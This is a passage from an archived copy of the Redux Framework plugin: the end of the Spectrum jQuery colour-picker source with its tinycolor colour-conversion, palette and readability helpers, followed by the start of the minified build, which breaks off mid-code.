[ pad2(convertDecimalToHex(a)), pad2(mathRound(r).toString(16)), pad2(mathRound(g).toString(16)), pad2(mathRound(b).toString(16)) ]; return hex.join(""); } // `equals` // Can be called with any tinycolor input tinycolor.equals = function (color1, color2) { if (!color1 || !color2) { return false; } return tinycolor(color1).toRgbString() == tinycolor(color2).toRgbString(); }; tinycolor.random = function() { return tinycolor.fromRatio({ r: mathRandom(), g: mathRandom(), b: mathRandom() }); }; // Modification Functions // ---------------------- // Thanks to less.js for some of the basics here // <https://github.com/cloudhead/less.js/blob/master/lib/less/functions.js> tinycolor.desaturate = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.s -= amount / 100; hsl.s = clamp01(hsl.s); return tinycolor(hsl); }; tinycolor.saturate = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.s += amount / 100; hsl.s = clamp01(hsl.s); return tinycolor(hsl); }; tinycolor.greyscale = function(color) { return tinycolor.desaturate(color, 100); }; tinycolor.lighten = function(color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.l += amount / 100; hsl.l = clamp01(hsl.l); return tinycolor(hsl); }; tinycolor.darken = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.l -= amount / 100; hsl.l = clamp01(hsl.l); return tinycolor(hsl); }; tinycolor.complement = function(color) { var hsl = tinycolor(color).toHsl(); hsl.h = (hsl.h + 180) % 360; return tinycolor(hsl); }; // Combination Functions // --------------------- // Thanks to jQuery xColor for some of the ideas behind these // <https://github.com/infusion/jQuery-xcolor/blob/master/jquery.xcolor.js> tinycolor.triad = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 120) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 240) % 360, s: hsl.s, l: hsl.l }) ]; }; tinycolor.tetrad = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 90) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 180) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 270) % 360, s: hsl.s, l: hsl.l }) ]; }; tinycolor.splitcomplement = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 72) % 360, s: hsl.s, l: hsl.l}), tinycolor({ h: (h + 216) % 360, s: hsl.s, l: hsl.l}) ]; }; tinycolor.analogous = function(color, results, slices) { results = results || 6; slices = slices || 30; var hsl = tinycolor(color).toHsl(); var part = 360 / slices; var ret = [tinycolor(color)]; for (hsl.h = ((hsl.h - (part * results >> 1)) + 720) % 360; --results; ) { hsl.h = (hsl.h + part) % 360; ret.push(tinycolor(hsl)); } return ret; }; tinycolor.monochromatic = function(color, results) { results = results || 6; var hsv = tinycolor(color).toHsv(); var h = hsv.h, s = hsv.s, v = hsv.v; var ret = []; var modification = 1 / results; while (results--) { ret.push(tinycolor({ h: h, s: s, v: v})); v = (v + modification) % 1; } return ret; }; // Readability Functions // --------------------- // <http://www.w3.org/TR/AERT#color-contrast> // `readability` // Analyze the 2 colors and returns an object with the following properties: // `brightness`: difference in brightness between the two colors // `color`: difference in color/hue between the two colors tinycolor.readability = function(color1, color2) { var a = tinycolor(color1).toRgb(); var b = tinycolor(color2).toRgb(); var brightnessA = (a.r * 299 + a.g * 587 + a.b * 114) / 1000; var brightnessB = (b.r * 299 + b.g * 587 + b.b * 114) / 1000; var colorDiff = ( Math.max(a.r, b.r) - Math.min(a.r, b.r) + Math.max(a.g, b.g) - Math.min(a.g, b.g) + Math.max(a.b, b.b) - Math.min(a.b, b.b) ); return { brightness: Math.abs(brightnessA - brightnessB), color: colorDiff }; }; // `readable` // http://www.w3.org/TR/AERT#color-contrast // Ensure that foreground and background color combinations provide sufficient contrast. // *Example* // tinycolor.readable("#000", "#111") => false tinycolor.readable = function(color1, color2) { var readability = tinycolor.readability(color1, color2); return readability.brightness > 125 && readability.color > 500; }; // `mostReadable` // Given a base color and a list of possible foreground or background // colors for that base, returns the most readable color. // *Example* // tinycolor.mostReadable("#123", ["#fff", "#000"]) => "#000" tinycolor.mostReadable = function(baseColor, colorList) { var bestColor = null; var bestScore = 0; var bestIsReadable = false; for (var i=0; i < colorList.length; i++) { // We normalize both around the "acceptable" breaking point, // but rank brightness constrast higher than hue. var readability = tinycolor.readability(baseColor, colorList[i]); var readable = readability.brightness > 125 && readability.color > 500; var score = 3 * (readability.brightness / 125) + (readability.color / 500); if ((readable && ! bestIsReadable) || (readable && bestIsReadable && score > bestScore) || ((! readable) && (! bestIsReadable) && score > bestScore)) { bestIsReadable = readable; bestScore = score; bestColor = tinycolor(colorList[i]); } } return bestColor; }; // Big List of Colors // ------------------ // <http://www.w3.org/TR/css3-color/#svg-color> var names = tinycolor.names = { aliceblue: "f0f8ff", antiquewhite: "faebd7", aqua: "0ff", aquamarine: "7fffd4", azure: "f0ffff", beige: "f5f5dc", bisque: "ffe4c4", black: "000", blanchedalmond: "ffebcd", blue: "00f", blueviolet: "8a2be2", brown: "a52a2a", burlywood: "deb887", burntsienna: "ea7e5d", cadetblue: "5f9ea0", chartreuse: "7fff00", chocolate: "d2691e", coral: "ff7f50", cornflowerblue: "6495ed", cornsilk: "fff8dc", crimson: "dc143c", cyan: "0ff", darkblue: "00008b", darkcyan: "008b8b", darkgoldenrod: "b8860b", darkgray: "a9a9a9", darkgreen: "006400", darkgrey: "a9a9a9", darkkhaki: "bdb76b", darkmagenta: "8b008b", darkolivegreen: "556b2f", darkorange: "ff8c00", darkorchid: "9932cc", darkred: "8b0000", darksalmon: "e9967a", darkseagreen: "8fbc8f", darkslateblue: "483d8b", darkslategray: "2f4f4f", darkslategrey: "2f4f4f", darkturquoise: "00ced1", darkviolet: "9400d3", deeppink: "ff1493", deepskyblue: "00bfff", dimgray: "696969", dimgrey: "696969", dodgerblue: "1e90ff", firebrick: "b22222", floralwhite: "fffaf0", forestgreen: "228b22", fuchsia: "f0f", gainsboro: "dcdcdc", ghostwhite: "f8f8ff", gold: "ffd700", goldenrod: "daa520", gray: "808080", green: "008000", greenyellow: "adff2f", grey: "808080", honeydew: "f0fff0", hotpink: "ff69b4", indianred: "cd5c5c", indigo: "4b0082", ivory: "fffff0", khaki: "f0e68c", lavender: "e6e6fa", lavenderblush: "fff0f5", lawngreen: "7cfc00", lemonchiffon: "fffacd", lightblue: "add8e6", lightcoral: "f08080", lightcyan: "e0ffff", lightgoldenrodyellow: "fafad2", lightgray: "d3d3d3", lightgreen: "90ee90", lightgrey: "d3d3d3", lightpink: "ffb6c1", lightsalmon: "ffa07a", lightseagreen: "20b2aa", lightskyblue: "87cefa", lightslategray: "789", lightslategrey: "789", lightsteelblue: "b0c4de", lightyellow: "ffffe0", lime: "0f0", limegreen: "32cd32", linen: "faf0e6", magenta: "f0f", maroon: "800000", mediumaquamarine: "66cdaa", mediumblue: "0000cd", mediumorchid: "ba55d3", mediumpurple: "9370db", mediumseagreen: "3cb371", mediumslateblue: "7b68ee", mediumspringgreen: "00fa9a", mediumturquoise: "48d1cc", mediumvioletred: "c71585", midnightblue: "191970", mintcream: "f5fffa", mistyrose: "ffe4e1", moccasin: "ffe4b5", navajowhite: "ffdead", navy: "000080", oldlace: "fdf5e6", olive: "808000", olivedrab: "6b8e23", orange: "ffa500", orangered: "ff4500", orchid: "da70d6", palegoldenrod: "eee8aa", palegreen: "98fb98", paleturquoise: "afeeee", palevioletred: "db7093", papayawhip: "ffefd5", peachpuff: "ffdab9", peru: "cd853f", pink: "ffc0cb", plum: "dda0dd", powderblue: "b0e0e6", purple: "800080", red: "f00", rosybrown: "bc8f8f", royalblue: "4169e1", saddlebrown: "8b4513", salmon: "fa8072", sandybrown: "f4a460", seagreen: "2e8b57", seashell: "fff5ee", sienna: "a0522d", silver: "c0c0c0", skyblue: "87ceeb", slateblue: "6a5acd", slategray: "708090", slategrey: "708090", snow: "fffafa", springgreen: "00ff7f", steelblue: "4682b4", tan: "d2b48c", teal: "008080", thistle: "d8bfd8", tomato: "ff6347", turquoise: "40e0d0", violet: "ee82ee", wheat: "f5deb3", white: "fff", whitesmoke: "f5f5f5", yellow: "ff0", yellowgreen: "9acd32" }; // Make it easy to access colors via `hexNames[hex]` var hexNames = tinycolor.hexNames = flip(names); // Utilities // --------- // `{ 'name1': 'val1' }` becomes `{ 'val1': 'name1' }` function flip(o) { var flipped = { }; for (var i in o) { if (o.hasOwnProperty(i)) { flipped[o[i]] = i; } } return flipped; } // Return a valid alpha value [0,1] with all invalid values being set to 1 function boundAlpha(a) { a = parseFloat(a); if (isNaN(a) || a < 0 || a > 1) { a = 1; } return a; } // Take input from [0, n] and return it as [0, 1] function bound01(n, max) { if (isOnePointZero(n)) { n = "100%"; } var processPercent = isPercentage(n); n = mathMin(max, mathMax(0, parseFloat(n))); // Automatically convert percentage into number if (processPercent) { n = parseInt(n * max, 10) / 100; } // Handle floating point rounding errors if ((math.abs(n - max) < 0.000001)) { return 1; } // Convert into [0, 1] range if it isn't already return (n % max) / parseFloat(max); } // Force a number between 0 and 1 function clamp01(val) { return mathMin(1, mathMax(0, val)); } // Parse a base-16 hex value into a base-10 integer function parseIntFromHex(val) { return parseInt(val, 16); } // Need to handle 1.0 as 100%, since once it is a number, there is no difference between it and 1 // <http://stackoverflow.com/questions/7422072/javascript-how-to-detect-number-as-a-decimal-including-1-0> function isOnePointZero(n) { return typeof n == "string" && n.indexOf('.') != -1 && parseFloat(n) === 1; } // Check to see if string passed in is a percentage function isPercentage(n) { return typeof n === "string" && n.indexOf('%') != -1; } // Force a hex value to have 2 characters function pad2(c) { return c.length == 1 ? '0' + c : '' + c; } // Replace a decimal with it's percentage value function convertToPercentage(n) { if (n <= 1) { n = (n * 100) + "%"; } return n; } // Converts a decimal to a hex value function convertDecimalToHex(d) { return Math.round(parseFloat(d) * 255).toString(16); } // Converts a hex value to a decimal function convertHexToDecimal(h) { return (parseIntFromHex(h) / 255); } var matchers = (function() { // <http://www.w3.org/TR/css3-values/#integers> var CSS_INTEGER = "[-\\+]?\\d+%?"; // <http://www.w3.org/TR/css3-values/#number-value> var CSS_NUMBER = "[-\\+]?\\d*\\.\\d+%?"; // Allow positive/negative integer/number. Don't capture the either/or, just the entire outcome. var CSS_UNIT = "(?:" + CSS_NUMBER + ")|(?:" + CSS_INTEGER + ")"; // Actual matching. // Parentheses and commas are optional, but not required. // Whitespace can take the place of commas or opening paren var PERMISSIVE_MATCH3 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?"; var PERMISSIVE_MATCH4 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?"; return { rgb: new RegExp("rgb" + PERMISSIVE_MATCH3), rgba: new RegExp("rgba" + PERMISSIVE_MATCH4), hsl: new RegExp("hsl" + PERMISSIVE_MATCH3), hsla: new RegExp("hsla" + PERMISSIVE_MATCH4), hsv: new RegExp("hsv" + PERMISSIVE_MATCH3), hex3: /^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/, hex6: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/, hex8: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/ }; })(); // `stringInputToObject` // Permissive string parsing. Take in a number of formats, and output an object // based on detected format. Returns `{ r, g, b }` or `{ h, s, l }` or `{ h, s, v}` function stringInputToObject(color) { color = color.replace(trimLeft,'').replace(trimRight, '').toLowerCase(); var named = false; if (names[color]) { color = names[color]; named = true; } else if (color == 'transparent') { return { r: 0, g: 0, b: 0, a: 0, format: "name" }; } // Try to match string input using regular expressions. // Keep most of the number bounding out of this function - don't worry about [0,1] or [0,100] or [0,360] // Just return an object and let the conversion functions handle that. // This way the result will be the same whether the tinycolor is initialized with string or object. var match; if ((match = matchers.rgb.exec(color))) { return { r: match[1], g: match[2], b: match[3] }; } if ((match = matchers.rgba.exec(color))) { return { r: match[1], g: match[2], b: match[3], a: match[4] }; } if ((match = matchers.hsl.exec(color))) { return { h: match[1], s: match[2], l: match[3] }; } if ((match = matchers.hsla.exec(color))) { return { h: match[1], s: match[2], l: match[3], a: match[4] }; } if ((match = matchers.hsv.exec(color))) { return { h: match[1], s: match[2], v: match[3] }; } if ((match = matchers.hex8.exec(color))) { return { a: convertHexToDecimal(match[1]), r: parseIntFromHex(match[2]), g: parseIntFromHex(match[3]), b: parseIntFromHex(match[4]), format: named ? "name" : "hex8" }; } if ((match = matchers.hex6.exec(color))) { return { r: parseIntFromHex(match[1]), g: parseIntFromHex(match[2]), b: parseIntFromHex(match[3]), format: named ? "name" : "hex" }; } if ((match = matchers.hex3.exec(color))) { return { r: parseIntFromHex(match[1] + '' + match[1]), g: parseIntFromHex(match[2] + '' + match[2]), b: parseIntFromHex(match[3] + '' + match[3]), format: named ? "name" : "hex" }; } return false; } // Expose tinycolor to window, does not need to run in non-browser context. window.tinycolor = tinycolor; })(); $(function () { if ($.fn.spectrum.load) { $.fn.spectrum.processNativeColorInputs(); } }); })(window, jQuery); �������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/spectrum/redux-spectrum.min.js�������������������������������������0000644�����������������00000056663�14720701300�0021064 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(Ne,qe,Ee){var e,je={beforeShow:r,move:r,change:r,show:r,hide:r,color:!1,flat:!1,showInput:!1,allowEmpty:!1,showButtons:!0,clickoutFiresChange:!1,showInitial:!1,showPalette:!1,showPaletteOnly:!1,showSelectionPalette:!0,localStorageKey:!1,appendTo:"body",maxSelectionSize:7,cancelText:"cancel",chooseText:"choose",clearText:"Clear Color Selection",preferredFormat:!1,className:"",containerClassName:"",replacerClassName:"",showAlpha:!1,theme:"sp-light",palette:[["#ffffff","#000000","#ff0000","#ff8000","#ffff00","#008000","#0000ff","#4b0082","#9400d3"]],selectionPalette:[],disabled:!1,inputText:""},De=[],Ie=!!/msie/i.exec(Ne.navigator.userAgent),ze=function(){function e(e,t){return!!~(""+e).indexOf(t)}var t=document.createElement("div").style;return t.cssText="background-color:rgba(0,0,0,.5)",e(t.backgroundColor,"rgba")||e(t.backgroundColor,"hsla")}(),Ke="color"===(e=qe("<input type='color' value='#ffffff' />")[0]).type&&"#ffffff"!==e.value,$e=["<div class='sp-replacer'>","<div class='sp-preview'><div class='sp-preview-inner'></div></div>","<div class='sp-dd'>▼</div>","</div>"].join(""),_e=function(){var e="";if(Ie)for(var t=1;t<=6;t++)e+="<div class='sp-"+t+"'></div>";return["<div class='sp-container sp-hidden'>","<div class='sp-palette-container'>","<div class='sp-palette sp-thumb sp-cf'></div>","</div>","<div class='sp-picker-container'>","<div class='sp-top sp-cf'>","<div class='sp-fill'></div>","<div class='sp-top-inner'>","<div class='sp-color'>","<div class='sp-sat'>","<div class='sp-val'>","<div class='sp-dragger'></div>","</div>","</div>","</div>","<div class='sp-clear sp-clear-display'>","</div>","<div class='sp-hue'>","<div class='sp-slider'></div>",e,"</div>","</div>","<div class='sp-alpha'><div class='sp-alpha-inner'><div class='sp-alpha-handle'></div></div></div>","</div>","<div class='sp-input-container sp-cf'>","<input class='sp-input' type='text' spellcheck='false' />","</div>","<div class='sp-initial sp-thumb sp-cf'></div>","<div class='sp-button-container sp-cf'>","<a class='sp-cancel' href='#'></a>","<button type='button' class='sp-choose'></button>","</div>","</div>","</div>"].join("")}();function Be(e,t,r,a){for(var n=[],o=0;o<e.length;o++){var s=e[o];if(s){var i=tinycolor(s),l=i.toHsl().l<.5?"sp-thumb-el sp-thumb-dark":"sp-thumb-el sp-thumb-light";l+=tinycolor.equals(t,s)?" sp-thumb-active":"";var c=i.toString(a||"rgb"),f=ze?"background-color:"+i.toRgbString():"filter:"+i.toFilter();n.push('<span title="'+c+'" data-color="'+i.toRgbString()+'" class="'+l+'"><span class="sp-thumb-inner" style="'+f+';" /></span>')}else{n.push('<span title="No Color Selected" data-color="" style="background-color:transparent;" class="sp-clear-display"></span>')}}return"<div class='sp-cf "+r+"'>"+n.join("")+"</div>"}function t(e,t){var r,a,n,o,s,l,c,f=(s=t,l=e,(c=qe.extend({},je,s)).callbacks={move:Le(c.move,l),change:Le(c.change,l),show:Le(c.show,l),hide:Le(c.hide,l),beforeShow:Le(c.beforeShow,l)},c),d=f.flat,u=f.showSelectionPalette,h=f.localStorageKey,p=f.theme,g=f.callbacks,b=(r=Me,a=10,function(){var e=this,t=arguments;n&&clearTimeout(o),!n&&o||(o=setTimeout(function(){o=null,r.apply(e,t)},a))}),v=!1,m=0,y=0,w=0,x=0,k=0,S=0,C=0,P=0,H=0,A=0,F=1,R=[],M=[],O={},T=f.selectionPalette.slice(0),N=f.maxSelectionSize,q="sp-dragging",E=f.inputText,j=null,D=e.ownerDocument,I=(D.body,qe(e)),z=!1,K=qe(_e,D).addClass(p),$=K.find(".sp-color"),_=K.find(".sp-dragger"),B=K.find(".sp-hue"),X=K.find(".sp-slider"),L=K.find(".sp-alpha-inner"),W=K.find(".sp-alpha"),Y=K.find(".sp-alpha-handle"),G=K.find(".sp-input"),Q=K.find(".sp-palette"),V=K.find(".sp-initial"),J=K.find(".sp-cancel"),U=K.find(".sp-clear"),Z=K.find(".sp-choose"),ee=I.is("input"),te=ee&&Ke&&"color"===I.attr("type"),re=ee&&!d,ae=re?qe($e).addClass(p).addClass(f.className).addClass(f.replacerClassName):qe([]),ne=re?ae:I,oe=ae.find(".sp-preview-inner"),se=f.color||ee&&I.val(),ie=!1,le=f.preferredFormat,ce=le,fe=!f.showButtons||f.clickoutFiresChange,de=!se,ue=f.allowEmpty&&!te;""!==E&&qe(ne).find("div.sp-dd").text(E);function he(){if(f.showPaletteOnly&&(f.showPalette=!0),f.palette){R=f.palette.slice(0),M=qe.isArray(R[0])?R:[R],O={};for(var e=0;e<M.length;e++)for(var t=0;t<M[e].length;t++){var r=tinycolor(M[e][t]).toRgbString();O[r]=!0}}K.toggleClass("sp-flat",d),K.toggleClass("sp-input-disabled",!f.showInput),K.toggleClass("sp-alpha-enabled",f.showAlpha),K.toggleClass("sp-clear-enabled",ue),K.toggleClass("sp-buttons-disabled",!f.showButtons),K.toggleClass("sp-palette-disabled",!f.showPalette),K.toggleClass("sp-palette-only",f.showPaletteOnly),K.toggleClass("sp-initial-disabled",!f.showInitial),K.addClass(f.className).addClass(f.containerClassName),Me()}function pe(){if(h&&Ne.localStorage){try{var e=Ne.localStorage[h].split(",#");1<e.length&&(delete Ne.localStorage[h],qe.each(e,function(e,t){ge(t)}))}catch(e){}try{T=Ne.localStorage[h].split(";")}catch(e){}}}function ge(e){if(u){var t=tinycolor(e).toRgbString();if(!O[t]&&-1===qe.inArray(t,T))for(T.push(t);T.length>N;)T.shift();if(h&&Ne.localStorage)try{Ne.localStorage[h]=T.join(";")}catch(e){}}}function be(){var r=Pe(),e=qe.map(M,function(e,t){return Be(e,r,"sp-palette-row sp-palette-row-"+t,f.preferredFormat)});pe(),T&&e.push(Be(function(){var e=[];if(f.showPalette)for(i=0;i<T.length;i++){var t=tinycolor(T[i]).toRgbString();O[t]||e.push(T[i])}return e.reverse().slice(0,f.maxSelectionSize)}(),r,"sp-palette-row sp-palette-row-selection",f.preferredFormat)),Q.html(e.join(""))}function ve(){if(f.showInitial){var e=ie,t=Pe();V.html(Be([e,t],t,"sp-palette-row-initial",f.preferredFormat))}}function me(){(y<=0||m<=0||x<=0)&&Me(),K.addClass(q),j=null,I.trigger("dragstart.spectrum",[Pe()])}function ye(){K.removeClass(q),I.trigger("dragstop.spectrum",[Pe()])}function we(){var e=G.val();if(null!==e&&""!==e||!ue){var t=tinycolor(e);t.ok?(Ce(t),Re(!0)):G.addClass("sp-validation-error")}else Ce(null),Re(!0)}function xe(){v?Se():ke()}function ke(){var e=qe.Event("beforeShow.spectrum");v?Me():(I.trigger(e,[Pe()]),!1===g.beforeShow(Pe())||e.isDefaultPrevented()||(!function(){for(var e=0;e<De.length;e++)De[e]&&De[e].hide()}(),v=!0,qe(D).bind("click.spectrum",Se),qe(Ne).bind("resize.spectrum",b),ae.addClass("sp-active"),K.removeClass("sp-hidden"),Me(),Ae(),ie=Pe(),ve(),g.show(ie),I.trigger("show.spectrum",[ie])))}function Se(e){e&&"click"==e.type&&2==e.button||v&&!d&&(v=!1,qe(D).unbind("click.spectrum",Se),qe(Ne).unbind("resize.spectrum",b),ae.removeClass("sp-active"),K.addClass("sp-hidden"),!tinycolor.equals(Pe(),ie)&&(fe&&"cancel"!==e?Re(!0):Ce(ie,!0)),g.hide(Pe()),I.trigger("hide.spectrum",[Pe()]))}function Ce(e,t){var r,a;tinycolor.equals(e,Pe())?Ae():(!e&&ue?de=!0:(de=!1,a=(r=tinycolor(e)).toHsv(),P=a.h%360/360,H=a.s,A=a.v,F=a.a),Ae(),r&&r.ok&&!t&&(ce=le||r.format))}function Pe(e){return e=e||{},ue&&de?null:tinycolor.fromRatio({h:P,s:H,v:A,a:Math.round(100*F)/100},{format:e.format||ce})}function He(){Ae(),g.move(Pe()),I.trigger("move.spectrum",[Pe()])}function Ae(){G.removeClass("sp-validation-error"),Fe();var e=tinycolor.fromRatio({h:P,s:1,v:1});$.css("background-color",e.toHexString());var t=ce;F<1&&(0!==F||"name"!==t)&&("hex"!==t&&"hex3"!==t&&"hex6"!==t&&"name"!==t||(t="rgb"));var r=Pe({format:t}),a="";if(oe.removeClass("sp-clear-display"),oe.css("background-color","transparent"),!r&&ue)oe.addClass("sp-clear-display");else{var n=r.toHexString(),o=r.toRgbString();if(ze||1===r.alpha?oe.css("background-color",o):(oe.css("background-color","transparent"),oe.css("filter",r.toFilter())),f.showAlpha){var s=r.toRgb();s.a=0;var i=tinycolor(s).toRgbString(),l="linear-gradient(left, "+i+", "+n+")";Ie?L.css("filter",tinycolor(i).toFilter({gradientType:1},n)):(L.css("background","-webkit-"+l),L.css("background","-moz-"+l),L.css("background","-ms-"+l),L.css("background","linear-gradient(to right, "+i+", "+n+")"))}a=r.toString(t)}f.showInput&&G.val(a),f.showPalette&&be(),ve()}function Fe(){var e=H,t=A;if(ue&&de)Y.hide(),X.hide(),_.hide();else{Y.show(),X.show(),_.show();var r=e*m,a=y-t*y;r=Math.max(-w,Math.min(m-w,r-w)),a=Math.max(-w,Math.min(y-w,a-w)),_.css({top:a+"px",left:r+"px"});var n=F*k;Y.css({left:n-S/2+"px"});var o=P*x;X.css({top:o-C+"px"})}}function Re(e){var t=Pe(),r="",a=!tinycolor.equals(t,ie);t&&(r=t.toString(ce),ge(t)),ee&&I.val(r),ie=t,e&&a&&(g.change(t),I.trigger("change",[t]))}function Me(){var e,t,r,a,n,o,s,i,l,c;m=$.width(),y=$.height(),w=_.height(),B.width(),x=B.height(),C=X.height(),k=W.width(),S=Y.width(),d||(K.css("position","absolute"),K.offset((t=ne,r=(e=K).outerWidth(),a=e.outerHeight(),n=t.outerHeight(),o=e[0].ownerDocument,s=o.documentElement,i=s.clientWidth+qe(o).scrollLeft(),l=s.clientHeight+qe(o).scrollTop(),(c=t.offset()).top+=n,c.left-=Math.min(c.left,c.left+r>i&&r<i?Math.abs(c.left+r-i):0),c.top-=Math.min(c.top,c.top+a>l&&a<l?Math.abs(a+n-0):0),c))),Fe(),f.showPalette&&be(),I.trigger("reflow.spectrum")}function Oe(){Se(),z=!0,I.attr("disabled",!0),ne.addClass("sp-disabled")}!function(){if(Ie&&K.find("*:not(input)").attr("unselectable","on"),he(),re&&I.after(ae).hide(),ue||U.hide(),d)I.after(K).hide();else{var e="parent"===f.appendTo?I.parent():qe(f.appendTo);1!==e.length&&(e=qe("body")),e.append(K)}function t(e){return e.data&&e.data.ignore?(Ce(qe(this).data("color")),He()):(Ce(qe(this).data("color")),He(),Re(!0),Se()),!1}pe(),ne.bind("click.spectrum touchstart.spectrum",function(e){z||xe(),e.stopPropagation(),qe(e.target).is("input")||e.preventDefault()}),(I.is(":disabled")||!0===f.disabled)&&Oe(),K.click(Xe),G.change(we),G.bind("paste",function(){setTimeout(we,1)}),G.keydown(function(e){13==e.keyCode&&we()}),J.text(f.cancelText),J.bind("click.spectrum",function(e){e.stopPropagation(),e.preventDefault(),Se("cancel")}),U.attr("title",f.clearText),U.bind("click.spectrum",function(e){e.stopPropagation(),e.preventDefault(),de=!0,He(),d&&Re(!0)}),Z.text(f.chooseText),Z.bind("click.spectrum",function(e){e.stopPropagation(),e.preventDefault(),G.hasClass("sp-validation-error")||(Re(!0),Se())}),We(W,function(e,t,r){F=e/k,de=!1,r.shiftKey&&(F=Math.round(10*F)/10),He()},me,ye),We(B,function(e,t){P=parseFloat(t/x),de=!1,f.showAlpha||(F=1),He()},me,ye),We($,function(e,t,r){if(r.shiftKey){if(!j){var a=H*m,n=y-A*y,o=Math.abs(e-a)>Math.abs(t-n);j=o?"x":"y"}}else j=null;var s=!j||"y"===j;(!j||"x"===j)&&(H=parseFloat(e/m)),s&&(A=parseFloat((y-t)/y)),de=!1,f.showAlpha||(F=1),He()},me,ye),se?(Ce(se),Ae(),ce=le||tinycolor(se).format,ge(se)):Ae(),d&&ke();var r=Ie?"mousedown.spectrum":"click.spectrum touchstart.spectrum";Q.delegate(".sp-thumb-el",r,t),V.delegate(".sp-thumb-el:nth-child(1)",r,{ignore:!0},t)}();var Te={show:ke,hide:Se,toggle:xe,reflow:Me,option:function(e,t){return e===Ee?qe.extend({},f):t===Ee?f[e]:(f[e]=t,void he())},enable:function(){z=!1,I.attr("disabled",!1),ne.removeClass("sp-disabled")},disable:Oe,set:function(e){Ce(e),Re()},get:Pe,destroy:function(){I.show(),ne.unbind("click.spectrum touchstart.spectrum"),K.remove(),ae.remove(),De[Te.id]=null},container:K};return Te.id=De.push(Te)-1,Te}function r(){}function Xe(e){e.stopPropagation()}function Le(e,t){var r=Array.prototype.slice,a=r.call(arguments,2);return function(){return e.apply(t,a.concat(r.call(arguments)))}}function We(s,i,r,e){i=i||function(){},r=r||function(){},e=e||function(){};var a=s.ownerDocument||document,l=!1,c={},f=0,d=0,u="ontouchstart"in Ne,n={};function h(e){e.stopPropagation&&e.stopPropagation(),e.preventDefault&&e.preventDefault(),e.returnValue=!1}function o(e){if(l){if(Ie&&document.documentMode<9&&!e.button)return p();var t=e.originalEvent.touches,r=t?t[0].pageX:e.pageX,a=t?t[0].pageY:e.pageY,n=Math.max(0,Math.min(r-c.left,d)),o=Math.max(0,Math.min(a-c.top,f));u&&h(e),i.apply(s,[n,o,e])}}function p(){l&&(qe(a).unbind(n),qe(a.body).removeClass("sp-dragging"),e.apply(s,arguments)),l=!1}n.selectstart=h,n.dragstart=h,n["touchmove mousemove"]=o,n["touchend mouseup"]=p,qe(s).bind("touchstart mousedown",function(e){var t=e.which?3==e.which:2==e.button;e.originalEvent.touches,t||l||!1!==r.apply(s,arguments)&&(l=!0,f=qe(s).height(),d=qe(s).width(),c=qe(s).offset(),qe(a).bind(n),qe(a.body).addClass("sp-dragging"),u||o(e),h(e))})}var o="spectrum.id";qe.fn.spectrum=function(r,e){if("string"!=typeof r)return this.spectrum("destroy").each(function(){var e=t(this,qe.extend({},r,qe(this).data()));qe(this).data(o,e.id)});var a=this,n=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=De[qe(this).data(o)];if(e){var t=e[r];if(!t)throw new Error("Spectrum: no such method: '"+r+"'");"get"==r?a=e.get():"container"==r?a=e.container:"option"==r?a=e.option.apply(e,n):"destroy"==r?(e.destroy(),qe(this).removeData(o)):t.apply(e,n)}}),a},qe.fn.spectrum.load=!0,qe.fn.spectrum.loadOpts={},qe.fn.spectrum.draggable=We,qe.fn.spectrum.defaults=je,qe.spectrum={},qe.spectrum.localization={},qe.spectrum.palettes={},qe.fn.spectrum.processNativeColorInputs=function(){Ke||qe("input[type=color]").spectrum({preferredFormat:"hex6"})},function(){var f=/^[\s,#]+/,d=/\s+$/,a=0,u=Math,h=u.round,p=u.min,g=u.max,e=u.random;function b(e,n){if(n=n||{},"object"==typeof(e=e||"")&&e.hasOwnProperty("_tc_id"))return e;var t=function(e){var t={r:0,g:0,b:0},r=1,a=!1,n=!1;"string"==typeof e&&(e=function(e){e=e.replace(f,"").replace(d,"").toLowerCase();var t,r=!1;if(x[e])e=x[e],r=!0;else if("transparent"==e)return{r:0,g:0,b:0,a:0,format:"name"};if(t=A.rgb.exec(e))return{r:t[1],g:t[2],b:t[3]};if(t=A.rgba.exec(e))return{r:t[1],g:t[2],b:t[3],a:t[4]};if(t=A.hsl.exec(e))return{h:t[1],s:t[2],l:t[3]};if(t=A.hsla.exec(e))return{h:t[1],s:t[2],l:t[3],a:t[4]};if(t=A.hsv.exec(e))return{h:t[1],s:t[2],v:t[3]};if(t=A.hex8.exec(e))return{a:(a=t[1],P(a)/255),r:P(t[2]),g:P(t[3]),b:P(t[4]),format:r?"name":"hex8"};var a;if(t=A.hex6.exec(e))return{r:P(t[1]),g:P(t[2]),b:P(t[3]),format:r?"name":"hex"};if(t=A.hex3.exec(e))return{r:P(t[1]+""+t[1]),g:P(t[2]+""+t[2]),b:P(t[3]+""+t[3]),format:r?"name":"hex"};return!1}(e));"object"==typeof 